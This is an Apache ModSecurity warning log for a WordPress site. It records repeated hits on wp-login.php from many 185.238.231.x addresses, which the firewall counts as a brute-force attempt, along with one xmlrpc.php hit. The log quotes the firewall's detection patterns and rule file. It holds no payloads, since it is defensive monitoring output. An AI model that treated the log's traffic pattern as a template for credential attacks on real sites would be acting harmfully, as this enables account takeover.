[Wed Nov 19 22:15:04.264083 2025] [:error] [pid 12672:tid 12700] [client 185.238.231.182:30709] [client 185.238.231.182] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.182, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Q6P9vojl6X1cc5mU_dgAAAdc"]
[Wed Nov 19 22:15:04.281273 2025] [:error] [pid 6555:tid 6595] [client 185.238.231.198:36099] [client 185.238.231.198] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.198, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Q6EbVJm8eMsGMTCNBmQAAAEQ"]
[Wed Nov 19 22:18:05.777690 2025] [:error] [pid 26664:tid 26691] [client 185.238.231.197:21927] [client 185.238.231.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3RnYpWc1yoj2P7MeASFgAAAVc"]
[Wed Nov 19 22:18:05.817716 2025] [:error] [pid 12643:tid 12666] [client 185.238.231.179:49895] [client 185.238.231.179] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.179, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3RncaLCNSdLHNAGt4F6QAAAZQ"]
[Wed Nov 19 22:21:09.988467 2025] [:error] [pid 6555:tid 6597] [client 185.238.231.186:32601] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3SVUbVJm8eMsGMTCNCTgAAAEY"]
[Wed Nov 19 22:21:10.007702 2025] [:error] [pid 6919:tid 6937] [client 185.238.231.201:38991] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3SVkYFdN1s_9xJVUmRgQAAAQ8"]
[Wed Nov 19 22:24:12.207730 2025] [:error] [pid 6644:tid 6659] [client 185.238.231.170:43977] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3TDE0i6Rf788MB6sbuLwAAAM0"]
[Wed Nov 19 22:24:12.207730 2025] [:error] [pid 12673:tid 12724] [client 185.238.231.169:63399] [client 185.238.231.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.169, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3TDMab1F0fb062dH2HcAAAAhQ"]
[Wed Nov 19 22:27:11.560539 2025] [:error] [pid 12673:tid 12719] [client 185.238.231.188:41161] [client 185.238.231.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Tv8ab1F0fb062dH2IPQAAAg8"]
[Wed Nov 19 22:27:11.560581 2025] [:error] [pid 26664:tid 26692] [client 185.238.231.37:44443] [client 185.238.231.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Tv4pWc1yoj2P7MeAT2wAAAVg"]
[Wed Nov 19 22:30:16.105671 2025] [:error] [pid 12672:tid 12678] [client 185.238.231.42:62171] [client 185.238.231.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3UeP9vojl6X1cc5mVDwgAAAcE"]
[Wed Nov 19 22:30:16.106252 2025] [:error] [pid 12672:tid 12698] [client 185.238.231.188:52759] [client 185.238.231.188] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.188, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3UeP9vojl6X1cc5mVDwwAAAdU"]
[Wed Nov 19 22:33:16.954312 2025] [:error] [pid 12673:tid 12704] [client 185.238.231.180:21007] [client 185.238.231.180] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.180, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3VLMab1F0fb062dH2JegAAAgA"]
[Wed Nov 19 22:33:16.985400 2025] [:error] [pid 12673:tid 12713] [client 185.238.231.33:26329] [client 185.238.231.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.33, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3VLMab1F0fb062dH2JewAAAgk"]
[Wed Nov 19 22:36:18.799792 2025] [:error] [pid 12673:tid 12712] [client 185.238.231.39:22387] [client 185.238.231.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.39, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3V4sab1F0fb062dH2KWQAAAgg"]
[Wed Nov 19 22:36:18.828662 2025] [:error] [pid 12673:tid 12705] [client 185.238.231.201:49807] [client 185.238.231.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.201, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3V4sab1F0fb062dH2KWgAAAgE"]
[Wed Nov 19 22:39:18.657898 2025] [:error] [pid 12673:tid 12725] [client 185.238.231.185:35017] [client 185.238.231.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Wlsab1F0fb062dH2KsAAAAhU"]
[Wed Nov 19 22:39:18.657926 2025] [:error] [pid 6644:tid 6653] [client 185.238.231.190:50563] [client 185.238.231.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Wlk0i6Rf788MB6sbzCgAAAMc"]
[Wed Nov 19 22:42:20.406914 2025] [:error] [pid 26664:tid 26677] [client 185.238.231.36:45197] [client 185.238.231.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3XTIpWc1yoj2P7MeAVjQAAAUo"]
[Wed Nov 19 22:42:20.407237 2025] [:error] [pid 6556:tid 6624] [client 185.238.231.203:24309] [client 185.238.231.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3XTJuL7hhgrmdM1ms4CwAAAIY"]
[Wed Nov 19 22:45:20.911063 2025] [:error] [pid 12643:tid 12667] [client 185.238.231.191:40533] [client 185.238.231.191] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.191, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3YAMaLCNSdLHNAGt4JvwAAAZU"]
[Wed Nov 19 22:45:21.029209 2025] [:error] [pid 12672:tid 12689] [client 185.238.231.173:42795] [client 185.238.231.173] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.173, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3YAf9vojl6X1cc5mVGfQAAAcw"]
[Wed Nov 19 22:48:19.128380 2025] [:error] [pid 6919:tid 6946] [client 185.238.231.170:40021] [client 185.238.231.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Ys0YFdN1s_9xJVUmWZwAAARg"]
[Wed Nov 19 22:48:19.133148 2025] [:error] [pid 26664:tid 26672] [client 185.238.231.176:36415] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3Ys4pWc1yoj2P7MeAWIQAAAUU"]
[Wed Nov 19 22:51:19.496078 2025] [:error] [pid 6644:tid 6669] [client 185.238.231.189:37437] [client 185.238.231.189] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.189, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3ZZ00i6Rf788MB6sb1hAAAANc"]
[Wed Nov 19 22:51:19.503682 2025] [:error] [pid 12673:tid 12719] [client 185.238.231.186:46831] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3ZZ8ab1F0fb062dH2M4wAAAg8"]
[Wed Nov 19 22:51:35.043825 2025] [:error] [pid 12673:tid 12709] [client 162.241.203.77:27456] [client 162.241.203.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.241.203.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aR3Zd8ab1F0fb062dH2M8gAAAgU"]
[Wed Nov 19 22:54:21.872991 2025] [:error] [pid 6644:tid 6667] [client 185.238.231.203:24027] [client 185.238.231.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.203, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3aHU0i6Rf788MB6sb1-gAAANU"]
[Wed Nov 19 22:54:21.879466 2025] [:error] [pid 12643:tid 12667] [client 185.238.231.190:44801] [client 185.238.231.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3aHcaLCNSdLHNAGt4LEAAAAZU"]
[Wed Nov 19 22:57:23.246168 2025] [:error] [pid 12672:tid 12682] [client 185.238.231.192:21057] [client 185.238.231.192] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.192, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3a0_9vojl6X1cc5mVIbAAAAcU"]
[Wed Nov 19 22:57:23.276198 2025] [:error] [pid 12643:tid 12646] [client 185.238.231.38:28597] [client 185.238.231.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3a08aLCNSdLHNAGt4LeQAAAYA"]
[Wed Nov 19 23:00:28.370021 2025] [:error] [pid 26664:tid 26673] [client 185.238.231.183:32441] [client 185.238.231.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3bjIpWc1yoj2P7MeAXyQAAAUY"]
[Wed Nov 19 23:00:28.375126 2025] [:error] [pid 26664:tid 26688] [client 185.238.231.199:47431] [client 185.238.231.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3bjIpWc1yoj2P7MeAXygAAAVQ"]
[Wed Nov 19 23:09:59.021010 2025] [:error] [pid 6644:tid 6652] [client 185.238.231.199:40253] [client 185.238.231.199] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.199, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3dx00i6Rf788MB6sb6WAAAAMY"]
[Wed Nov 19 23:09:59.026001 2025] [:error] [pid 6556:tid 6641] [client 185.238.231.190:57929] [client 185.238.231.190] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.190, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3dx5uL7hhgrmdM1ms7fQAAAJc"]
[Wed Nov 19 23:13:02.446861 2025] [:error] [pid 12643:tid 12662] [client 185.238.231.32:20353] [client 185.238.231.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3efsaLCNSdLHNAGt4OcgAAAZA"]
[Wed Nov 19 23:13:02.454050 2025] [:error] [pid 6644:tid 6648] [client 185.238.231.175:29785] [client 185.238.231.175] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.175, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3efk0i6Rf788MB6sb7FgAAAMI"]
[Wed Nov 19 23:16:00.442053 2025] [:error] [pid 6554:tid 6569] [client 185.238.231.167:29133] [client 185.238.231.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3fMN8rvPWLafJFqmUQEQAAAAk"]
[Wed Nov 19 23:16:00.444689 2025] [:error] [pid 6555:tid 6605] [client 185.238.231.176:59181] [client 185.238.231.176] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.176, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3fMEbVJm8eMsGMTCNJvQAAAE4"]
[Wed Nov 19 23:18:59.092658 2025] [:error] [pid 12673:tid 12728] [client 185.238.231.187:32943] [client 185.238.231.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.187, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3f48ab1F0fb062dH2SIwAAAhg"]
[Wed Nov 19 23:18:59.099738 2025] [:error] [pid 6644:tid 6656] [client 185.238.231.37:40995] [client 185.238.231.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3f400i6Rf788MB6sb9KwAAAMo"]
[Wed Nov 19 23:21:46.835759 2025] [:error] [pid 6554:tid 6562] [client 185.238.231.165:52011] [client 185.238.231.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3git8rvPWLafJFqmURMAAAAAM"]
[Wed Nov 19 23:21:46.835759 2025] [:error] [pid 12672:tid 12700] [client 185.238.231.171:42183] [client 185.238.231.171] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.171, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3giv9vojl6X1cc5mVNkQAAAdc"]
[Wed Nov 19 23:24:32.475560 2025] [:error] [pid 12672:tid 12683] [client 185.238.231.162:27643] [client 185.238.231.162] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.162, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3hMP9vojl6X1cc5mVOLgAAAcY"]
[Wed Nov 19 23:24:32.484310 2025] [:error] [pid 12643:tid 12647] [client 185.238.231.165:44179] [client 185.238.231.165] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.165, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3hMMaLCNSdLHNAGt4QfwAAAYE"]
[Wed Nov 19 23:27:14.085278 2025] [:error] [pid 12672:tid 12680] [client 185.238.231.186:34489] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3h0v9vojl6X1cc5mVOjwAAAcM"]
[Wed Nov 19 23:27:14.092334 2025] [:error] [pid 26664:tid 26689] [client 185.238.231.166:22085] [client 185.238.231.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3h0opWc1yoj2P7MeAchwAAAVU"]
[Wed Nov 19 23:29:58.045168 2025] [:error] [pid 12643:tid 12660] [client 185.238.231.167:29759] [client 185.238.231.167] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.167, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3idsaLCNSdLHNAGt4RVwAAAY4"]
[Wed Nov 19 23:29:58.045172 2025] [:error] [pid 12673:tid 12715] [client 185.238.231.42:56057] [client 185.238.231.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.42, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3idsab1F0fb062dH2UzgAAAgs"]
[Wed Nov 19 23:32:44.610129 2025] [:error] [pid 6556:tid 6624] [client 185.238.231.193:55357] [client 185.238.231.193] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.193, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3jHJuL7hhgrmdM1ms-ygAAAIY"]
[Wed Nov 19 23:32:44.610129 2025] [:error] [pid 6919:tid 6929] [client 185.238.231.197:56719] [client 185.238.231.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3jHEYFdN1s_9xJVUmdygAAAQc"]
[Wed Nov 19 23:35:30.874576 2025] [:error] [pid 6554:tid 6577] [client 185.238.231.164:56343] [client 185.238.231.164] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.164, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3jwt8rvPWLafJFqmUTNgAAABE"]
[Wed Nov 19 23:35:30.874749 2025] [:error] [pid 6555:tid 6604] [client 185.238.231.200:35337] [client 185.238.231.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3jwkbVJm8eMsGMTCNMogAAAE0"]
[Wed Nov 19 23:38:15.271309 2025] [:error] [pid 12672:tid 12696] [client 185.238.231.197:37487] [client 185.238.231.197] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.197, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3kZ_9vojl6X1cc5mVQzAAAAdM"]
[Wed Nov 19 23:38:15.275922 2025] [:error] [pid 6555:tid 6608] [client 185.238.231.185:65073] [client 185.238.231.185] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.185, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3kZ0bVJm8eMsGMTCNNJAAAAFE"]
[Wed Nov 19 23:41:01.648572 2025] [:error] [pid 6554:tid 6584] [client 185.238.231.46:46847] [client 185.238.231.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.46, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3lDd8rvPWLafJFqmUUDgAAABg"]
[Wed Nov 19 23:41:01.660828 2025] [:error] [pid 6555:tid 6610] [client 185.238.231.166:57271] [client 185.238.231.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3lDUbVJm8eMsGMTCNNewAAAFM"]
[Wed Nov 19 23:43:48.307012 2025] [:error] [pid 6644:tid 6668] [client 185.238.231.186:56023] [client 185.238.231.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.186, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3ltE0i6Rf788MB6sYFbgAAANY"]
[Wed Nov 19 23:43:48.314966 2025] [:error] [pid 12673:tid 12715] [client 185.238.231.172:44655] [client 185.238.231.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.238.231.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aR3ltMab1F0fb062dH2X3gAAAgs"]
